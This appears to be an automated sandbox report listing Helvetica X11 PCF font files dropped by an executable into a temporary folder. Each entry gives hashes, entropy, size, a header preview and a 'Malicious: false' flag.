MD5:	FC6928C7213BAAFAE4FE13B5F3FACD1D
SHA1:	074E67E75C39C83149C0039086943B0E419F9852
SHA-256:	42475204A5A84A9FE6F3B130570EC405E5942F700AC7DC71E860EB417EBBEBDC
SHA-512:	2684D1E9955316B17B4633B6DCF537CA9CFE788DD369B079D26081BE7D244DE246E39AAB23878CB67634CFA395EBC9C7D85C4576EFAA5188E1CBAF33A4F61983
Malicious:	false
Preview:	.fcp............................d...T................................... ...........`"..@...........p$..............x'..........d..../...............................$....0...5....;...=....K...R....a...b........m....d...x....K........K.................<...........................................................................*....2...<....F...L....V...m....r.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-BoldOblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvBO12-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12992
Entropy (8bit):	4.152327046894683
Encrypted:	false
SSDEEP:	192:UJI+q/KKKKKKKMKKn5RVqZ+azPe3lZOUabZTAGVW:UuKKKKKKKMKK5YSVb3
MD5:	3C634CCEE78A704667723975E98E9F28
SHA1:	B69A0F4830797A8111E6140CA18476CA3CBB39ED
SHA-256:	AE682964DD79399941A883A1A93050B3649BBB095E009FDD8F049EA7ABF7045B
SHA-512:	CDEE5F125FAD1A73D46824382CE7E2919878019E71A157C124F35A6A50824735D45AC9D0FB3450F63ED44FA32C2A2316AAE7588DC169C47BDB2E59F67D967788
Malicious:	false
Preview:	.fcp............................d...T................................... ...........h%..@...........x'.........................d....2...............................$....0...5....;...=....K...R....a...b........m....x...x....K........K.................E...............................................................................2...<....F...L....V...m....r.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-BoldOblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvBO14-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	14068
Entropy (8bit):	4.160318563034905
Encrypted:	false
SSDEEP:	192:KYiJDpppapEO8FXHPwNu1zLgz5de3lZOUabZTAGk:LiJDpppapl8RTzo5YVbf
MD5:	0F68CAB2B0DA8104327E47E9D4ED6EBD
SHA1:	09540BAE54ED543CEE1F5E7537B2B5F98AA113CC
SHA-256:	FD53CA05BDAB449820F49749C5232D15A0BE7C760DC6F7A65C953CF1663BF639
SHA-512:	8C9D15E01975EB832D914CDE09F91B74AB6760CCF1E08E775567EB8DF08B252A12E6D6FA1F53B141D8172ADB3D6671E2AF92042B39D90EEF1BB21FB9EA11BE20
Malicious:	false
Preview:	.fcp............................d...T............................!...... ............)..@............+..........................d....6...............................$....0...5....;...=....K...R....a...b........m........x....K........K.................R...........................................................................*....2...<....F...L....V...m....r.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-BoldOblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvBO18-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16172
Entropy (8bit):	4.208874690829908
Encrypted:	false
SSDEEP:	192:Pyep7oC1oM444rbOrmimurhxeiyHPeRFGg1C/7TCDbKBBe3lZOUabZTAGq:aeSM444rbqbmqaHWFGg1CjT2XVbJ
MD5:	DEB4437A13F9F251D7D850BF7D98914A
SHA1:	14E1670743CA59ABE312FF387125FD7E9A9F1331
SHA-256:	41B17C02B357F42C4BFD146780D625A8C9F03E3CE94D25412DC1F6026FD4DC13
SHA-512:	1B00C69D19F3CB2C8A6BC3FFBF6521D321435B4860164812C47CBDDEBE476C9C90671B932A7C845970C5574DC02BAAF2C69FB60782CB0DA8804F3F54415EDC07
Malicious:	false
Preview:	.fcp............................d...T...........................T)...... ............1..@............3...............6..........d....>...............................$....0...5....;...=....K...R....a...b........m........x....K........K.................h...........................................................................*....2...<....F...L....V...m....r.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-BoldOblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvBO24-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19604
Entropy (8bit):	4.142983245228413
Encrypted:	false
SSDEEP:	192:TUC+i84+O+CvxyFwrv5Owz95ZFD8/p3XI9OTySU1UjApe3lZOUabZTAGIz:t+i8gMOrkwzPD8/pIO3VbH
MD5:	211542B856FF8D40C00D694C314C7B3A
SHA1:	79E2A78927A3AFD987ED956B31D6FC984E146540
SHA-256:	196BF580A61BF3A3F62DBB2B8F9F61C8B7C34EB232E871FA07C623234D9539C4
SHA-512:	3593FBC541DC4D4AC093E8AFDA11673F02BF8055C87691BB4AF0A69CC9D75D123C4A350C79B6A497995E6D9E2ACDBA04629398BEB625B92EC6B8C96FB3DEA194
Malicious:	false
Preview:	.fcp............................d...T............................6...... ...........<?..@...........LA..............TD..........d...dL...............................$....0...5....;...=....K...R....a...b........m........x....K........K.............................................................................................*....2...<....F...L....V...m....r.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Bold.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Bold Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-BoldOblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvO08-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	11156
Entropy (8bit):	4.161525486126542
Encrypted:	false
SSDEEP:	96:eBOO1duzlVYsc6yXV0bQ/qOZR1VzjiYYY8ZOGXanbZ3Ea8OoIOll07eE:eBOOoYz6yXV0bEjVGZOUabZTAGF
MD5:	9441F2715F6CF6C3D70BAEF8CCA25F2B
SHA1:	596E6729EAE3F1BFB9A6462E55E43F41AAA2DB2B
SHA-256:	177D7BF9FB4CDFFA587207C00E3B908AB881FA4DDC561B7108481DBAFF602D02
SHA-512:	8E9A24135B8174D955FEF45C4F37E3F19C7744F40D887A68D47C86FC9697B4A82AE3CC5B8A8539A1B60BC4247609BFC758E698E76E087F9AD216BFE5EDAE700A
Malicious:	false
Preview:	.fcp............................d...H...............................t... ...........<...@...........L ..............T#..........d...d+...............................$....0...7....=...?....M...T....c...d........o....P...z....K........K................./...........................................................................#....2...5....2...E....O...a....f.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Oblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Oblique

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvO10-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12232
Entropy (8bit):	4.0794194325791375
Encrypted:	false
SSDEEP:	96:NO1Jwz9fsEI3YuEOwpxCUOaR1VzjiYYY8ZOGXanbZ3Ea8OoIOll07eOX:NOkuUCrajVGZOUabZTAGp
MD5:	28A169C265511070E6CFD867990EF360
SHA1:	14F447AD7B7930007337185A626E773E7D94AFA0
SHA-256:	19EF1B25F81D292DB8FE824ACB6F85CA851D960FD5367E36EC90F013B0F60E1C
SHA-512:	A4CB637C9D453F6BCE23B1FDB62C9B53E4842866662747756AA75A3F5E9E79E9F4DCA644D6BCD31E0299A26C613D8D5A7F3813CDFED9D8BC354A20866903FF6C
Malicious:	false
Preview:	.fcp............................d...L...............................x... ...........p"..@............$...............'..........d..../...............................$....0...7....=...?....M...T....c...d........o....d...z....K........K.................9...........................................................................#....2...5....2...E....O...a....f.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Oblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Oblique

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvO12-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12928
Entropy (8bit):	4.072033914827132
Encrypted:	false
SSDEEP:	96:ywO1SYzmbBEkH4S1cNBpehSglR1VzjiYYY8ZOGXanbZ3Ea8OoIOll07eV:ywOfq356Nb+jVGZOUabZTAGk
MD5:	8C79AB14B9A8D2FF4F879E66D9048A7D
SHA1:	328090EFB5EA8A62B77986FF619807A2BC4E9B6B
SHA-256:	CA9D994A9E11ADA37356DADF755CF6A319DDA4216AFC5BE12F4E2F8EA22A514B
SHA-512:	CF201DBDD13F24C98FE3D1D1B8D0FE332EE7812B043CC7099F9D9394043479696605748D12CBB66BCD91916431F95AA119F03579C4927FFDFF712FB413A38FEA
Malicious:	false
Preview:	.fcp............................d...L...............................x... ...........(%..@...........8'..............@*..........d...P2...............................$....0...7....=...?....M...T....c...d........o....x...z....K........K.................C...........................................................................#....2...5....2...E....O...a....f.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Oblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Oblique

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvO14-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	14000
Entropy (8bit):	4.016556286745162
Encrypted:	false
SSDEEP:	96:RO1kPDDJPvqe8PyyRpoabRgR1VzjiYYY8ZOGXanbZ3Ea8OoIOll07eb:ROerhqVPyZCgjVGZOUabZTAGa
MD5:	AD92A8F439E33742AF5D40370808530E
SHA1:	F897151AB4234E29921FED5DAECED2BA84A9A33C
SHA-256:	D35E45E78A2B413F200D2B80BE29455EFB1580264EC54DBF3359BF6A9B181208
SHA-512:	1E032E4E108DA1B632D9DE73A253706B64E25B3EC021B5DA1748B389FDD81106670A9C83BDA93E69F88490413909675C942CF9C4E641B582FE67039335D395D3
Malicious:	false
Preview:	.fcp............................d...L............................ ..x... ...........X)..@...........h+..............p...........d....6...............................$....0...7....=...?....M...T....c...d........o........z....K........K.................N...........................................................................#....2...5....2...E....O...a....f.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Oblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Oblique

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvO18-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16104
Entropy (8bit):	4.124725623855031
Encrypted:	false
SSDEEP:	192:3ZpOSt7bE5dKYliuvEX6ve2BkazjVGZOUabZTAG1:3Z9SJlsC5nEbm
MD5:	0D8CB01F2B1B39B943DBFB5C0B562E11
SHA1:	4C16D5FC70EBACB9D4C903B120C0A36B18DE162E
SHA-256:	90D1BBFB186C01AB575E25D1E4A2DA433BDAD0977ACBE08F63280EA89BFFD075
SHA-512:	5656EE65A4CE568E540356FF6FE0D4B35975365F5E7F7C22448AEC71A5B77B1CED886D1F50882B23F149835A44DC95EC3C5DCE7F5AE0391DC2E0769D19D27921
Malicious:	false
Preview:	.fcp............................d...L............................)..x... ............1..@............3...............6..........d....>...............................$....0...7....=...?....M...T....c...d........o........z....K........K.................b...........................................................................#....2...5....2...E....O...a....f.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Oblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Oblique

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvO24-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19608
Entropy (8bit):	4.074499479082816
Encrypted:	false
SSDEEP:	192:mO8URgj7ejHMLW0JT431rwJWBmzEjVGZOUabZTAGIU:xRgnejHw9U1rwwmzEEbg
MD5:	B4AF26B15909270066AA1E0520C67005
SHA1:	51EE06B6172AE1112B6DE86EE0EAF04BB3E26C58
SHA-256:	6A52517F3CD89BC0CA12D002036549E4483C0F4DD923673EB21EC9B76805EC53
SHA-512:	C9F88CDFC975FD6D94B321747C92BF739D8F254D1FAFE26BD2A2119B13624B65ED03774F6FEF70B45FF33427DD84D98AF26C4A9EA45BB447777983F1ED5E5AFE
Malicious:	false
Preview:	.fcp............................d...L............................6..x... ...........@?..@...........PA..............XD..........d...hL...............................$....0...7....=...?....M...T....c...d........o........z....K........K.............................................................................................#....2...5....2...E....O...a....f.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica Oblique.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica-Oblique.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica Oblique

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR08-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	11104
Entropy (8bit):	4.128398278613084
Encrypted:	false
SSDEEP:	96:4nbA1J6qsyRTXnouC6GdYOR1VzjiYYY8ZOGXanbZ3Ea8OoIOll07ev:4nbALiyxY3jVGZOUabZTAGO
MD5:	39B1224404EE03A3C400B447581DD52B
SHA1:	559C204AD1BD5284253CD7F6350D19D2C9857698
SHA-256:	5CBB7C8BC41CE0DE02EC7C77582660966EA96606A897566013DBF728C724A09D
SHA-512:	E3201017BE70798B14115B992060987B0562D2CA6770AD082DFA784B641D4C1B151015F40AA21E1635EDA473EFDCC6EF59B97010265FAA6E40E3FD59828DB790
Malicious:	false
Preview:	.fcp............................d...0...............................\... ...............@............ .............. #..........d...0+...............................$....0...7....=...?....M...T....c...d........o....P...z....K........K..................................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR08.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	60344
Entropy (8bit):	3.787256842662965
Encrypted:	false
SSDEEP:	384:CSXXYTCTnr/tigm+8s7qVr3g7DHHHV0ZAtXqaCjHdQ0XLTfVPG2:CSX1Trxm+8s7A2aaCrNbTfVPG2
MD5:	14415E9212F5069825C63AFD8A327AE8
SHA1:	16C6A0AF034E6A0F81DBE83E5F3F97A65AA6D27A
SHA-256:	43D548324C765C549374EBC69AB2A792836EFF8D1EFA133753EA28D7C6C0E020
SHA-512:	1AC8831488437BDC93FFDAD7EF12DDEE46060A6EE5ACC171A7D7B14F770FE6F0C5E0B610B322BE62CF213C9C07EF09E87DCB92F809A375F2120B3CF64A91C276
Malicious:	false
Preview:	.fcp............................d...4............................c..d... ........F..lv..@...........\|...........4#..T...........d....................................$....0...7....=...?....M...T....c...d........o....P...z....K........K..................................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR10-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12184
Entropy (8bit):	4.015573147792409
Encrypted:	false
SSDEEP:	96:wgAA1JMgJqJyJXJblEi6xfOR1VzjiYYY8ZOGXanbZ3Ea8OoIOll07el:JAAL5QiFjVGZOUabZTAGk
MD5:	64DA6279D749371380A105A5741DC72C
SHA1:	6268DCAE448FD95FCB4AD5F018147E8080000782
SHA-256:	9F7ABD1293387E29F5E5618DD803503D2B0B68B4C56E097DD5048392D44404CE
SHA-512:	DA069CBE5EB5608A48C88F3413A83015E8CB97C5FF7C233C373FB10F5EE1C1BE6E3FDFCCD801CB8AEAFF5BA65F02C1910A4E2B0C7290456B86169FB677F3FAF2
Malicious:	false
Preview:	.fcp............................d...4...............................`... ...........@"..@...........P$..............X'..........d...h/...............................$....0...7....=...?....M...T....c...d........o....d...z....K........K.................8................................................................................2...%....2...5....?...I....N.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-M

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR10.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	64308
Entropy (8bit):	3.7517309584026455
Encrypted:	false
SSDEEP:	384:sgQTsxNQgdrZ+7qVr3g7DHHHV0ZAtXqaCjHdQ0XLTfVPZ:stgdt+7A2aaCrNbTfVPZ
MD5:	C72C3C202BA8BAC44D69AB49A3937114
SHA1:	1DA988BED7D3B5FF854B2E790F2057025929089E
SHA-256:	AA016ABF860D60A5B48666F08DE9F464D2B2927BB613AA1F24B3E260369E22DC
SHA-512:	1A3B770A72AA73D85CB923B75D3759E0E5D57A5207F2DAA69B3698D7C9FE69A87A64F9B49ADBA46468B5FCF3D46EDBAA62E18B972B6E0C4A94D185CDD67E3A4C
Malicious:	false
Preview:	.fcp............................d...4............................r..d... ........F.....@.......................4#..............d....................................$....0...7....=...?....M...T....c...d........o....d...z....K........K.................8................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\helvR12-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12920
Entropy (8bit):	3.9580060955923635
Encrypted:	false
SSDEEP:	96:DdA1J5qW5Oxxxr0H4S1txzIwipR1VzjiYYY8ZOGXanbZ3Ea8OoIOll07ey:DdAL5M05dIw6jVGZOUabZTAGD
MD5:	5BD05A25E44ED5C81842C7D968330FCF
SHA1:	C1529B6FC92B16B786BA1B2B2523DCBB95D7BA25
SHA-256:	B878EBC0F76EB70233EBD89CD2F71595888DBDB49FDBB333123BBEF62722B977
SHA-512:	3E285727A64985DFD7F92A0238D3564A3A637347A710E54AA72A933CCE09CB7C348B462234597630E2B3083F9CCDBD2919D084C257B70B7BAAF893A6E908096A
Malicious:	false
